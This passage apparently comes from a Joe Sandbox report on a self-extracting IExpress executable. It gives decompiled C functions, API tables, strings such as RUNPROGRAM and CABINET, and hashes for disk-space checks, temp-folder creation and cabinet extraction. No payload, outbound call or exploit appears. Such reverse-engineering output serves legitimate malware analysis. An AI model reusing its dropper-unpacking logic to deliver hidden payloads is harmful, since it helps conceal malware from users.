														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0xf88b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E00F85467(0xf88b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E00F844B9(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E00F844B9(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0xf89124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E00F844B9(0, 0x4b5, 0, 0, 0x10, 0);
					 *0xf89124 = E00F86285();
					L2:
					_t38 = 0;
				}
				L47:
				return E00F86CE0(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x00f855ab
0x00f855b2
0x00f855c9
0x00f855d5
0x00f855d9
0x00f85600
0x00f85605
0x00f8560a
0x00f8560c
0x00f85638
0x00f85641
0x00f85643
0x00f85645
0x00f85645
0x00f8564c
0x00f85652
0x00f85657
0x00f85659
0x00f85696
0x00f8569c
0x00f8589f
0x00f858a7
0x00f858ac
0x00f858b3
0x00f858b5
0x00f856a2
0x00f856a2
0x00f856a8
0x00000000
0x00f856ae
0x00f856ae
0x00f856b9
0x00f856bf
0x00f856c1
0x00f856f3
0x00f856f3
0x00f85705
0x00f8570a
0x00f85711
0x00f85717
0x00f85724
0x00f85726
0x00f85729
0x00f85730
0x00f85737
0x00f8573d
0x00f85740
0x00000000
0x00000000
0x00000000
0x00000000
0x00f8572b
0x00f8572b
0x00f8572e
0x00f85742
0x00f85742
0x00f85745
0x00f8576b
0x00f8576b
0x00000000
0x00f85747
0x00f85747
0x00f8574d
0x00f8574f
0x00f85771
0x00f85771
0x00f85773
0x00000000
0x00f85751
0x00f85751
0x00f85753
0x00000000
0x00f85755
0x00f8575b
0x00f85760
0x00f85762
0x00000000
0x00f85764
0x00f85764
0x00f85769
0x00f8577e
0x00f8577e
0x00f85781
0x00f85788
0x00f8578d
0x00f8578f
0x00f857b2
0x00f857b8
0x00f857bd
0x00f857bf
0x00f857cd
0x00f857cd
0x00f857dd
0x00f857e3
0x00f857ef
0x00f857f5
0x00f857f8
0x00f8580a
0x00f8580a
0x00f857fa
0x00f85802
0x00f85802
0x00f8580d
0x00f8580f
0x00f85830
0x00f85836
0x00f8583d
0x00f8584b
0x00f85851
0x00f85855
0x00f8585a
0x00f8585c
0x00000000
0x00f8585e
0x00f8585e
0x00000000
0x00f8585e
0x00f85811
0x00f85817
0x00f85819
0x00f8581f
0x00000000
0x00f8581f
0x00f85791
0x00f85797
0x00f8579c
0x00f8579e
0x00000000
0x00f857a0
0x00f857a9
0x00f857ae
0x00f857b0
0x00000000
0x00000000
0x00000000
0x00000000
0x00f857b0
0x00f8579e
0x00000000
0x00000000
0x00000000
0x00f85769
0x00f85762
0x00f85753
0x00f8574f
0x00000000
0x00000000
0x00000000
0x00f8572e
0x00000000
0x00f85864
0x00f85864
0x00f85864
0x00f85717
0x00000000
0x00f856c3
0x00f856c5
0x00f856c9
0x00f856ce
0x00f856d0
0x00000000
0x00f856d6
0x00f856d6
0x00f856d8
0x00f856dd
0x00f856df
0x00000000
0x00f856e1
0x00f856e2
0x00f856e4
0x00f856e6
0x00f856eb
0x00f856ed
0x00000000
0x00f856f3
0x00f856f3
0x00000000
0x00f8586c
0x00f85878
0x00f8587e
0x00f85882
0x00f85883
0x00f85889
0x00f8588e
0x00f8588e
0x00000000
0x00f85896
0x00f856ed
0x00f856df
0x00f856d0
0x00f856c1
0x00f856a8
0x00f8565b
0x00f8565b
0x00f8565d
0x00f85669
0x00f85669
0x00f8565f
0x00f8565f
0x00f85665
0x00f85667
0x00000000
0x00000000
0x00f85667
0x00f8566c
0x00f85673
0x00f85678
0x00f8567a
0x00f8589b
0x00f8589b
0x00f85680
0x00f85685
0x00f8568c
0x00000000
0x00f8568c
0x00f8567a
0x00f8560e
0x00f85613
0x00f8561a
0x00f85620
0x00f85626
0x00000000
0x00f85626
0x00f855db
0x00f855e0
0x00f855e7
0x00f855f1
0x00f855f6
0x00f855f6
0x00f855f6
0x00f858b7
0x00f858c7

APIs

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 00F855CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00F85638
LocalFree.KERNEL32(00000000), ref: 00F8564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00F85620

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00F84554

Part of subcall function 00F86285: GetLastError.KERNEL32(00F85BBC), ref: 00F86285

GetTempPathA.KERNEL32(00000104,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\), ref: 00F856B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 00F8571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00F85737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 00F857CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 00F857EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00F85802

Part of subcall function 00F82630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00F82654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00F85830

Part of subcall function 00F86517: FindResourceA.KERNEL32(00F80000,000007D6,00000005), ref: 00F8652A
Part of subcall function 00F86517: LoadResource.KERNEL32(00F80000,00000000,?,?,00F82EE8,00000000,00F819E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00F86538
Part of subcall function 00F86517: DialogBoxIndirectParamA.USER32(00F80000,00000000,00000547,00F819E0,00000000), ref: 00F86557
Part of subcall function 00F86517: FreeResource.KERNEL32(00000000,?,?,00F82EE8,00000000,00F819E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00F86560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00F85878

Part of subcall function 00F8597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00F859A8
Part of subcall function 00F8597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 00F859AF

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F856AE, 00F856B3, 00F8583D
RUNPROGRAM, xrefs: 00F855BD, 00F85600
msdownld.tmp, xrefs: 00F857D3
A:\, xrefs: 00F856F4
<None>, xrefs: 00F85632
Z, xrefs: 00F8570A

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-3110009808
Opcode ID: 90338385525e3856d1e0ba5a6dc04f832afbf9cf77ac0fe1a93160b2ce048e30
Instruction ID: e9d0b85950076327f5867745168dc9044b6e566591497be0af7a2b04e7a98adc
Opcode Fuzzy Hash: 90338385525e3856d1e0ba5a6dc04f832afbf9cf77ac0fe1a93160b2ce048e30
Instruction Fuzzy Hash: 95814C71E04A099BEB20BB708C85BFE72AD9F50B50F4401A6F586D6191EF78CDC6BB11

Uniqueness

Uniqueness Score: -1.00%

Function 00F8597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00F8597D(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0xf89124 = E00F86285();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E00F844B9(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0xf89a34 & 0x00000008;
							if(( *0xf89a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0xf89a38; // 0x0
								_t110 =  *((intOrPtr*)(0xf889e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0xf89124 = 0;
									_t66 = 1;
								} else {
									_t66 = E00F8268B(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t105 =  *0xf89a38; // 0x0
							_t110 =  *((intOrPtr*)(0xf889e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0xf889e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = (_t105 >> 2) +  *0xf89a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E00F844B9(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0xf89124 = E00F86285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E00F844B9(0, 0x4bc, 0, 0, 0x10, 0);
					 *0xf89124 = E00F86285();
					_t66 = 0;
					L33:
					return E00F86CE0(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x00f8597d
0x00f85988
0x00f8598f
0x00f8599a
0x00f859a6
0x00f859a8
0x00f859af
0x00f859b9
0x00f859dd
0x00f859e4
0x00f859f1
0x00f859fe
0x00f85a0b
0x00f85a13
0x00f85a19
0x00f85a1b
0x00f85ba1
0x00f85baf
0x00f85bbd
0x00f85bd8
0x00f85bde
0x00f85be3
0x00f85bec
0x00f85bf0
0x00f85bfc
0x00f85c02
0x00f85c02
0x00f85c02
0x00f85c04
0x00f85c04
0x00000000
0x00f85c04
0x00f85a27
0x00f85a3a
0x00f85a46
0x00f85a48
0x00f85a4a
0x00000000
0x00000000
0x00f85a64
0x00f85a6a
0x00f85a6c
0x00f85abc
0x00f85ac2
0x00f85ac9
0x00f85aca
0x00f85aca
0x00f85acc
0x00f85acc
0x00f85acf
0x00f85ad1
0x00000000
0x00000000
0x00f85ad3
0x00f85ad6
0x00f85ad8
0x00000000
0x00000000
0x00f85ada
0x00f85adc
0x00f85add
0x00f85add
0x00f85ae0
0x00000000
0x00000000
0x00000000
0x00f85ae0
0x00f85ae2
0x00f85ae4
0x00f85ae6
0x00f85ae6
0x00f85ae6
0x00f85ae9
0x00f85aeb
0x00f85af0
0x00f85af6
0x00f85af8
0x00f85af9
0x00f85af9
0x00f85afb
0x00000000
0x00000000
0x00f85afd
0x00f85aff
0x00f85b00
0x00f85b03
0x00000000
0x00000000
0x00000000
0x00f85b03
0x00f85b05
0x00f85b08
0x00f85b20
0x00f85b27
0x00f85b52
0x00f85b52
0x00f85b5b
0x00f85b62
0x00f85b6b
0x00f85b6d
0x00f85b76
0x00f85b7d
0x00f85b83
0x00f85b7f
0x00f85b7f
0x00f85b7f
0x00f85b6f
0x00f85b72
0x00f85b72
0x00f85b85
0x00f85b98
0x00f85b9e
0x00f85b87
0x00f85b8f
0x00f85b8f
0x00000000
0x00f85b85
0x00f85b29
0x00f85b33
0x00000000
0x00000000
0x00f85b35
0x00f85b48
0x00f85b4a
0x00000000
0x00f85b4a
0x00f85b0f
0x00f85b16
0x00000000
0x00f85b16
0x00f85a7c
0x00f85a8a
0x00f85aa5
0x00f85aab
0x00000000
0x00f859bb
0x00f859c0
0x00f859c7
0x00f859d1
0x00f859d6
0x00f85c05
0x00f85c14
0x00f85c14

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00F859A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 00F859AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00F85A13
MulDiv.KERNEL32(?,?,00000400), ref: 00F85A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00F85A64
memset.MSVCRT ref: 00F85A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00F85A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00F85AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00F85BFC

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00F84554

Part of subcall function 00F86285: GetLastError.KERNEL32(00F85BBC), ref: 00F86285

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: 8d0616ab3dcf87d02f624871adf19b411f3fdb09de2d8c2e7aed047647d0e990
Instruction ID: ce33b91b0c74f9c25942b46efbaf9f788e2146554266ef4d571621944daf9692
Opcode Fuzzy Hash: 8d0616ab3dcf87d02f624871adf19b411f3fdb09de2d8c2e7aed047647d0e990
Instruction Fuzzy Hash: 8D71A2B1A0061CAFEB15EB64CCC5BFA77ACEB48750F5440AAF505D6140DA749E85AF20

Uniqueness

Uniqueness Score: -1.00%

Function 00F84FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00F84FE0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t29;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;
				intOrPtr _t47;

				_t33 = __edi;
				_t36 = "CABINET";
				 *0xf89144 = E00F8468F(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0xf89140 = _t8;
				if(_t8 == 0) {
					return _t8;
				}
				_t9 =  *0xf88584; // 0x0
				if(_t9 != 0) {
					ShowWindow(GetDlgItem(_t9, 0x842), 0);
					ShowWindow(GetDlgItem( *0xf88584, 0x841), 5);
				}
				_t10 = E00F84EFD(0, 0);
				if(_t10 != 0) {
					__imp__#20(E00F84CA0, E00F84CC0, E00F84980, E00F84A50, E00F84AD0, E00F84B60, E00F84BC0, 1, 0xf89148, _t33);
					_t34 = _t10;
					if(_t34 == 0) {
						L8:
						_t29 =  *0xf89148; // 0x0
						_t24 =  *0xf88584; // 0x0
						E00F844B9(_t24, _t29 + 0x514, 0, 0, 0x10, 0);
						_t37 = 0;
						L9:
						goto L10;
					}
					__imp__#22(_t34, "*MEMCAB", 0xf81140, 0, E00F84CD0, 0, 0xf89140); // executed
					_t37 = _t10;
					if(_t37 == 0) {
						goto L9;
					}
					__imp__#23(_t34); // executed
					if(_t10 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					_t27 =  *0xf88584; // 0x0
					E00F844B9(_t27, 0x4ba, 0, 0, 0x10, 0);
					_t37 = 0;
					L10:
					_t12 =  *0xf89140; // 0x0
					if(_t12 != 0) {
						FreeResource(_t12);
						 *0xf89140 = 0;
					}
					if(_t37 == 0) {
						_t47 =  *0xf891d8; // 0x0
						if(_t47 == 0) {
							E00F844B9(0, 0x4f8, 0, 0, 0x10, 0);
						}
					}
					if(( *0xf88a38 & 0x00000001) == 0 && ( *0xf89a34 & 0x00000001) == 0) {
						SendMessageA( *0xf88584, 0xfa1, _t37, 0);
					}
					return _t37;
				}
			}

0x00f84fe0
0x00f84fe6
0x00f84ff9
0x00f8500d
0x00f85013
0x00f8501a
0x00f85163
0x00f85163
0x00f85020
0x00f85027
0x00f85037
0x00f85051
0x00f85051
0x00f85057
0x00f8505e
0x00f850a7
0x00f850ad
0x00f850b4
0x00f850e8
0x00f850e8
0x00f850ee
0x00f850ff
0x00f85104
0x00f85106
0x00000000
0x00f85106
0x00f850cd
0x00f850d3
0x00f850da
0x00000000
0x00000000
0x00f850dd
0x00f850e6
0x00000000
0x00000000
0x00000000
0x00f85060
0x00f85060
0x00f85070
0x00f85075
0x00f85107
0x00f85107
0x00f8510e
0x00f85111
0x00f85117
0x00f85117
0x00f8511f
0x00f85121
0x00f85127
0x00f85135
0x00f85135
0x00f85127
0x00f85141
0x00f85159
0x00f85159
0x00000000
0x00f8515f

APIs

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00F84FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00F85006
LockResource.KERNEL32(00000000), ref: 00F8500D
GetDlgItem.USER32(00000000,00000842), ref: 00F85030
ShowWindow.USER32(00000000), ref: 00F85037
GetDlgItem.USER32(00000841,00000005), ref: 00F8504A
ShowWindow.USER32(00000000), ref: 00F85051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00F85111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00F85159

Strings

*MEMCAB, xrefs: 00F850C7
CABINET, xrefs: 00F84FE6, 00F84FF7

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 9fd27aa6d8d8b7886dafaa694a9eb78d1e5de37c86c2a8ad19fbd96555bd9e79
Instruction ID: 919f73e338f55c4df8eaa356bf5c72729e50ca02cf3ea1352f7d2d173871e4e0
Opcode Fuzzy Hash: 9fd27aa6d8d8b7886dafaa694a9eb78d1e5de37c86c2a8ad19fbd96555bd9e79
Instruction Fuzzy Hash: 4331B870B44B0A7BE7207B61AD8DFF7365DE744FA5F080015F902A62A1DAB9DC01B761

Uniqueness

Uniqueness Score: -1.00%

Function 00F853A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00F853A1(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E00F8171E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
					E00F81680(_t32, 0x104, _t20);
					E00F8658A(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E00F86CE0(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0xf88a20 = 1;
				goto L5;
			}

0x00f853ac
0x00f853b3
0x00f853b9
0x00f853bb
0x00f853bd
0x00f853bf
0x00f853d1
0x00f853d6
0x00f853e0
0x00f853e2
0x00f853f5
0x00f853fb
0x00f85402
0x00f8540b
0x00000000
0x00000000
0x00f85413
0x00000000
0x00000000
0x00f85415
0x00f85416
0x00f85427
0x00f8542a
0x00f8542b
0x00f85434
0x00f85434
0x00f8543a
0x00f8544c
0x00f8544c
0x00f85452
0x00f8545a
0x00000000
0x00000000
0x00f8545e
0x00f8545f
0x00000000

APIs

Part of subcall function 00F8171E: _vsnprintf.MSVCRT ref: 00F81750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F853FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85402
GetTempFileNameA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85452

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F853B7, 00F853E1, 00F8541E
IXP, xrefs: 00F85419
IXP%03d.TMP, xrefs: 00F853C0

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-1231568684
Opcode ID: 529d431f5f3824b96a9ff25301eecc8a653d5158ef20de90f8bf2c7841398568
Instruction ID: 1f9009007443b4ea1778144da670676d0015093c884ae24278484a89029772b5
Opcode Fuzzy Hash: 529d431f5f3824b96a9ff25301eecc8a653d5158ef20de90f8bf2c7841398568
Instruction Fuzzy Hash: 3011E77170050867E720BB369C49FFF766DEFC5721F000126F646D2190DE788947A7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00F85467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00F85467(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
